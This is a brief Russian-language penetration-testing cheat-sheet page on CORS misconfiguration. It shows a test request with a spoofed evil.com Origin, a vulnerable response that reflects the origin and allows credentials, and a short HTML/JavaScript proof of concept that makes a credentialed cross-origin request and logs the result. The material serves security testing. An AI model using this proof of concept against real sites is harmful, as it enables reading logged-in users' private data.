Cross-Origin Resource Sharing (CORS)
Как проверить
GET /some/resource HTTP/1.1
Host: example.com
Origin: https://evil.com
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://evil.com
Access-Control-Allow-Credentials: true
Пример эсплуатации
<html>
<body>
<script>
var client = new XMLHttpRequest();
client.withCredentials = true;
client.open("GET", "https://example.com/some/resource");
client.send()
client.onreadystatechange = function() {
if (this.readyState == this.DONE) {
console.log(client.response);
}
}
</script>
</body>
</html>Замечание
Настройка
Last updated